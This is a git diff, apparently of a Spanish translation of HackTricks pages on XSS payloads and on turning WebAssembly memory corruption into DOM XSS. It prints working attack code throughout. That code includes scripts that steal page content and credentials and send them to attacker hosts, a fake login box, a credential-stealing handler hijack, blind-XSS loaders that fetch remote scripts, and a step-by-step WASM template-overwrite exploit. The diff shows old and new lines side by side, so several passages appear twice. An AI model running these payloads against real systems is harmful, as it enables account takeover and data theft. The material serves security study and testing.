> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes suerte.
|
||||
|
||||
### Robar contenido de la página
|
||||
```javascript
|
||||
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
|
||||
@ -1327,7 +1339,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
||||
xhr.open("GET", url, true)
|
||||
xhr.send(null)
|
||||
```
|
||||
### Encontrar IPs internas
|
||||
### Encontrar direcciones IP internas
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
@ -1388,7 +1400,7 @@ q.shift()()
|
||||
```javascript
|
||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||
```
|
||||
### Port Scanner (websockets)
|
||||
### Escáner de puertos (websockets)
|
||||
```python
|
||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||
for(var i=0; i<ports.length; i++) {
|
||||
@ -1403,11 +1415,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_Tiempos cortos indican un port que responde_ _Tiempos más largos indican sin respuesta._
|
||||
_Tiempos cortos indican un port que responde_ _Tiempos más largos indican que no hay respuesta._
|
||||
|
||||
Revisa la lista de ports bloqueados en Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) y en Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Revisa la lista de ports prohibidos en Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) y en Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Caja para pedir credentials
|
||||
### Caja para pedir credenciales
|
||||
```html
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
@ -1422,11 +1434,11 @@ mode: 'no-cors',
|
||||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
Cuando se introduce cualquier dato en el campo password, el username y la password se envían al servidor del attacker; incluso si el cliente selecciona una saved password y no escribe nada, las credentials serán ex-filtrated.
|
||||
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
|
||||
|
||||
### Hijack form handlers to exfiltrate credentials (const shadowing)
|
||||
|
||||
Si un handler crítico (p. ej., `function DoLogin(){...}`) se declara más adelante en la página, y tu payload se ejecuta antes (p. ej., vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para anticipar y bloquear el handler. Las declaraciones de función posteriores no pueden volver a enlazar un nombre `const`, dejando tu hook en control:
|
||||
Si un critical handler (por ejemplo, `function DoLogin(){...}`) se declara más tarde en la página, y tu payload se ejecuta antes (por ejemplo, vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para adelantarte y bloquear el handler. Las declaraciones de función posteriores no pueden rebind un nombre `const`, dejando tu hook en control:
|
||||
```javascript
|
||||
const DoLogin = () => {
|
||||
const pwd = Trim(FormInput.InputPassword.value);
|
||||
@ -1435,13 +1447,13 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
|
||||
};
|
||||
```
|
||||
Notas
|
||||
- Esto depende del orden de ejecución: tu injection debe ejecutarse antes de la declaración legítima.
|
||||
- Si tu payload está envuelto en `eval(...)`, las vinculaciones `const/let` no se convertirán en globals. Usa la técnica dinámica de inyección `<script>` de la sección “Deliverable payloads with eval(atob()) and scope nuances” para asegurar un binding global verdadero y no rebindable.
|
||||
- Cuando filtros de palabras clave bloquean el código, combínalos con identificadores Unicode-escaped o entrega mediante `eval(atob('...'))`, como se mostró arriba.
|
||||
- Esto depende del orden de ejecución: tu inyección debe ejecutarse antes de la declaración legítima.
|
||||
- Si tu payload está envuelto en `eval(...)`, las vinculaciones `const/let` no se convertirán en globales. Usa la técnica dinámica de inyección `<script>` de la sección “Deliverable payloads with eval(atob()) and scope nuances” para asegurar una verdadera variable global, no reasignable.
|
||||
- Cuando filtros de palabras clave bloqueen código, combínalo con identificadores escapados en Unicode o la entrega `eval(atob('...'))`, como se muestra arriba.
|
||||
|
||||
### Keylogger
|
||||
|
||||
Al buscar en github encontré algunos diferentes:
|
||||
Buscando en github encontré algunos diferentes:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
@ -1492,7 +1504,7 @@ shadow-dom.md
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Blind XSS payloads
|
||||
### Payloads de Blind XSS
|
||||
|
||||
También puedes usar: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```html
|
||||
@ -1559,9 +1571,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - Acceder a contenido oculto
|
||||
### Regex - Acceso a contenido oculto
|
||||
|
||||
A partir de [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) se puede aprender que incluso si algunos valores desaparecen de JS, todavía es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX aún puede encontrarse después de que el valor de la entrada del regex fue eliminado:
|
||||
Desde [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) se puede aprender que, incluso si algunos valores desaparecen del JS, aún es posible encontrarlos en atributos JS en diferentes objetos. Por ejemplo, un input de un REGEX todavía es posible encontrarlo después de que el valor del input del regex fue eliminado:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag = "CTF{FLAG}"
|
||||
@ -1578,37 +1590,37 @@ console.log(
|
||||
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
)
|
||||
```
|
||||
### Brute-Force Lista
|
||||
### Brute-Force List
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abuso de otras vulnerabilidades
|
||||
## XSS abusando de otras vulnerabilidades
|
||||
|
||||
### XSS en Markdown
|
||||
### XSS in Markdown
|
||||
|
||||
¿Se puede inyectar código Markdown que se renderice? ¡Quizás puedas conseguir XSS! Comprueba:
|
||||
¿Se puede inyectar código Markdown que será renderizado? ¡Quizás puedas conseguir XSS! Revisa:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
{{#endref}}
|
||||
|
||||
### XSS a SSRF
|
||||
### XSS to SSRF
|
||||
|
||||
¿Tienes XSS en un **sitio que usa caching**? Prueba **elevarlo a SSRF** mediante Edge Side Include Injection con este payload:
|
||||
¿Tienes XSS en un **sitio que usa caching**? Intenta **convertirlo a SSRF** mediante Edge Side Include Injection con este payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Úsalo para eludir las restricciones de cookie, los filtros XSS y mucho más!\
|
||||
Úsalo para eludir restricciones de cookies, filtros XSS y mucho más!\
|
||||
Más información sobre esta técnica aquí: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS en PDF creado dinámicamente
|
||||
|
||||
Si una página web está creando un PDF usando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
||||
Así que, si el **PDF creator bot** encuentra algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **Server XSS**.
|
||||
Si una página web está creando un PDF usando input controlado por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
||||
Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **Server XSS**.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -1624,15 +1636,15 @@ pdf-injection.md
|
||||
|
||||
### XSS en Amp4Email
|
||||
|
||||
AMP, orientado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con énfasis en la velocidad y la seguridad. Soporta una gama de componentes para varias funciones, accesibles vía [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, orientado a acelerar el rendimiento de páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para asegurar la funcionalidad con énfasis en velocidad y seguridad. Soporta una gama de componentes para varias funciones, accesibles vía [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extiende componentes AMP específicos a los emails, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
|
||||
El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los emails, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
|
||||
|
||||
Ejemplo [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### XSS subiendo archivos (svg)
|
||||
|
||||
Sube como imagen un archivo como el siguiente (desde [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```html
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
@ -1688,16 +1700,16 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Encuentra **más payloads SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Encuentra **más SVG payloads en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Trucos variados de JS e información relevante
|
||||
## Varios trucos de JS e información relevante
|
||||
|
||||
|
||||
{{#ref}}
|
||||
other-js-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
## Recursos XSS
|
||||
## Recursos de XSS
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
|
||||
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
|
||||
@ -1708,7 +1720,7 @@ other-js-tricks.md
|
||||
|
||||
## Referencias
|
||||
|
||||
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [De RXSS "de bajo impacto" a Credential Stealer: Un walkthrough de JS-in-JS](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
|
||||
- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,133 @@
|
||||
# WebAssembly linear memory corruption to DOM XSS (template overwrite)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta técnica muestra cómo un bug de corrupción de memoria dentro de un módulo WebAssembly (WASM) compilado con Emscripten puede convertirse en un DOM XSS fiable incluso cuando la entrada está sanitizada. El punto de apoyo es corromper constantes escribibles en la WASM linear memory (p. ej., plantillas de formato HTML) en lugar de atacar la cadena de origen sanitizada.
|
||||
|
||||
Key idea: En el modelo WebAssembly, el código reside en páginas ejecutables no escribibles, pero los datos del módulo (heap/stack/globals/"constants") viven en una única linear memory plana (páginas de 64KB) que el módulo puede escribir. Si código C/C++ con bugs escribe fuera de límites, puedes sobrescribir objetos adyacentes e incluso cadenas constantes incrustadas en la linear memory. Cuando dicha constante se usa más tarde para construir HTML para insertarlo vía un DOM sink, puedes convertir entrada sanitizada en JavaScript ejecutable.
|
||||
|
||||
Threat model and preconditions
|
||||
- La app web usa Emscripten glue (Module.cwrap) para invocar un módulo WASM.
|
||||
- El estado de la aplicación reside en WASM linear memory (por ejemplo, C structs con pointers/lengths a user buffers).
|
||||
- El sanitizador de entrada codifica metacaracteres antes del almacenamiento, pero la renderización posterior construye HTML usando una format string almacenada en WASM linear memory.
|
||||
- Existe un primitive de corrupción de linear memory (p. ej., heap overflow, UAF, o memcpy sin comprobaciones).
|
||||
|
||||
Minimal vulnerable data model (example)
|
||||
```c
|
||||
typedef struct msg {
|
||||
char *msg_data; // pointer to message bytes
|
||||
size_t msg_data_len; // length after sanitization
|
||||
int msg_time; // timestamp
|
||||
int msg_status; // flags
|
||||
} msg;
|
||||
|
||||
typedef struct stuff {
|
||||
msg *mess; // dynamic array of msg
|
||||
size_t size; // used
|
||||
size_t capacity; // allocated
|
||||
} stuff; // global chat state in linear memory
|
||||
```
|
||||
Patrón lógico vulnerable
|
||||
- addMsg(): asigna un nuevo buffer con el tamaño de la entrada sanitizada y añade un msg a s.mess, duplicando la capacidad con realloc cuando sea necesario.
|
||||
- editMsg(): vuelve a sanitizar y copia con memcpy los nuevos bytes en el buffer existente sin asegurarse de que la nueva longitud ≤ la asignación anterior → intra‑linear‑memory heap overflow.
|
||||
- populateMsgHTML(): formatea el texto sanitizado con un stub embebido como "<article><p>%.*s</p></article>" que reside en linear memory. El HTML resultante llega a un DOM sink (p. ej., innerHTML).
|
||||
|
||||
Allocator grooming with realloc()
|
||||
```c
|
||||
int add_msg_to_stuff(stuff *s, msg new_msg) {
|
||||
if (s->size >= s->capacity) {
|
||||
s->capacity *= 2;
|
||||
s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
|
||||
if (s->mess == NULL) exit(1);
|
||||
}
|
||||
s->mess[s->size++] = new_msg;
|
||||
return s->size - 1;
|
||||
}
|
||||
```
|
||||
- Envía suficientes mensajes para exceder la capacidad inicial. Tras el crecimiento, realloc() suele colocar s->mess inmediatamente después del último user buffer en linear memory.
|
||||
- Desborda el último mensaje mediante editMsg() para corromper campos dentro de s->mess (p. ej., overwrite msg_data pointers) → reescritura arbitraria de punteros dentro de linear memory para datos que luego se renderizan.
|
||||
|
||||
Exploit pivot: overwrite the HTML template (sink) instead of the sanitized source
|
||||
- La sanitización protege la entrada, no los sinks. Encuentra el format stub usado por populateMsgHTML(), p. ej.:
|
||||
- "<article><p>%.*s</p></article>" → change to "<img src=1 onerror=%.*s>"
|
||||
- Localiza el stub de forma determinista escaneando linear memory; es una cadena de bytes plana dentro de Module.HEAPU8.
|
||||
- Tras sobrescribir el stub, el contenido del mensaje sanitizado se convierte en el JavaScript handler para onerror, así que añadir un nuevo mensaje con texto como alert(1337) produce <img src=1 onerror=alert(1337)> y se ejecuta inmediatamente en el DOM.
|
||||
|
||||
Chrome DevTools workflow (Emscripten glue)
|
||||
- Interrumpe en la primera llamada a Module.cwrap en el JS glue y entra en el wasm call site para capturar los pointer arguments (numeric offsets into linear memory).
|
||||
- Usa vistas tipadas como Module.HEAPU8 para leer/escribir WASM memory desde la consola.
|
||||
- Snippets de ayuda:
|
||||
```javascript
|
||||
function writeBytes(ptr, byteArray){
|
||||
if(!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
|
||||
for(let i=0;i<byteArray.length;i++){
|
||||
const byte = byteArray[i];
|
||||
if(typeof byte!=="number"||byte<0||byte>255) throw new Error(`Invalid byte at index ${i}: ${byte}`);
|
||||
HEAPU8[ptr+i]=byte;
|
||||
}
|
||||
}
|
||||
function readBytes(ptr,len){ return Array.from(HEAPU8.subarray(ptr,ptr+len)); }
|
||||
function readBytesAsChars(ptr,len){
|
||||
const bytes=HEAPU8.subarray(ptr,ptr+len);
|
||||
return Array.from(bytes).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
|
||||
}
|
||||
function searchWasmMemory(str){
|
||||
const mem=Module.HEAPU8, pat=new TextEncoder().encode(str);
|
||||
for(let i=0;i<mem.length-pat.length;i++){
|
||||
let ok=true; for(let j=0;j<pat.length;j++){ if(mem[i+j]!==pat[j]){ ok=false; break; } }
|
||||
if(ok) console.log(`Found "${str}" at memory address:`, i);
|
||||
}
|
||||
console.log(`"${str}" not found in memory`);
|
||||
return -1;
|
||||
}
|
||||
const a = bytes => bytes.reduce((acc, b, i) => acc + (b << (8*i)), 0); // little-endian bytes -> int
|
||||
```
|
||||
Receta de explotación de extremo a extremo
|
||||
1) Groom: añade N mensajes pequeños para provocar realloc(). Asegúrate de que s->mess esté adyacente a un user buffer.
|
||||
2) Overflow: llama a editMsg() en el último mensaje con un payload más largo para sobrescribir una entrada en s->mess, estableciendo msg_data del message 0 para que apunte a (stub_addr + 1). El +1 omite el '<' inicial para mantener la alineación de etiquetas intacta durante la siguiente edición.
|
||||
3) Template rewrite: edita message 0 para que sus bytes sobrescriban la template con: "img src=1 onerror=%.*s ".
|
||||
4) Trigger XSS: añade un nuevo mensaje cuyo contenido sanitizado sea JavaScript, p. ej., alert(1337). Al renderizar, se emite <img src=1 onerror=alert(1337)> y se ejecuta.
|
||||
|
||||
Lista de acciones de ejemplo para serializar y colocar en ?s= (Base64-encode con btoa antes de usar)
|
||||
```json
|
||||
[
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"add","content":"hi","time":1756840476392},
|
||||
{"action":"edit","msgId":10,"content":"aaaaaaaaaaaaaaaa.\u0000\u0001\u0000\u0050","time":1756885686080},
|
||||
{"action":"edit","msgId":0,"content":"img src=1 onerror=%.*s ","time":1756885686080},
|
||||
{"action":"add","content":"alert(1337)","time":1756840476392}
|
||||
]
|
||||
```
|
||||
Por qué funciona este bypass
|
||||
- WASM impide la ejecución de código desde la memoria lineal, pero los datos constantes dentro de la memoria lineal son escribibles si la lógica del programa es defectuosa.
|
||||
- El sanitizador solo protege la cadena de origen; al corromper el sink (la plantilla HTML), la entrada sanitizada se convierte en el valor del handler JS y se ejecuta cuando se inserta en el DOM.
|
||||
- La adyacencia provocada por realloc() junto con memcpy sin comprobaciones en los flujos de edición permite la corrupción de punteros para redirigir escrituras hacia direcciones elegidas por el atacante dentro de la memoria lineal.
|
||||
|
||||
Generalización y otras superficies de ataque
|
||||
- Cualquier plantilla HTML en memoria, esqueleto JSON o patrón de URL embebido en la memoria lineal puede ser objetivo para cambiar cómo se interpreta la información sanitizada aguas abajo.
|
||||
- Otros fallos comunes en WASM: escrituras/lecturas fuera de límites en la memoria lineal, UAF en objetos del heap, uso indebido de function-table con índices de llamada indirecta sin comprobar, y desajustes en la glue JS↔WASM.
|
||||
|
||||
Medidas defensivas
|
||||
- En rutas de edición, verifica que la nueva longitud ≤ la capacidad; redimensiona los buffers antes de copiar (realloc a new_len) o usa APIs con límite de tamaño (snprintf/strlcpy) y lleva control de la capacidad.
|
||||
- Mantén las plantillas inmutables fuera de la memoria lineal escribible o verifica su integridad antes de usarlas.
|
||||
- Trata los límites JS↔WASM como no confiables: valida rangos/longitudes de punteros, fuzzea las interfaces exportadas y limita el crecimiento de la memoria.
|
||||
- Sanitiza en el sink: evita construir HTML en WASM; prefiere APIs DOM seguras sobre plantillas al estilo innerHTML.
|
||||
- Evita confiar en estado embebido en URLs para flujos privilegiados.
|
||||
|
||||
## Referencias
|
||||
- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
|
||||
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
|
||||
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
|
||||
- [Debugging WebAssembly in Chrome DevTools (YouTube)](https://www.youtube.com/watch?v=BTLLPnW4t5s&t)
|
||||
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user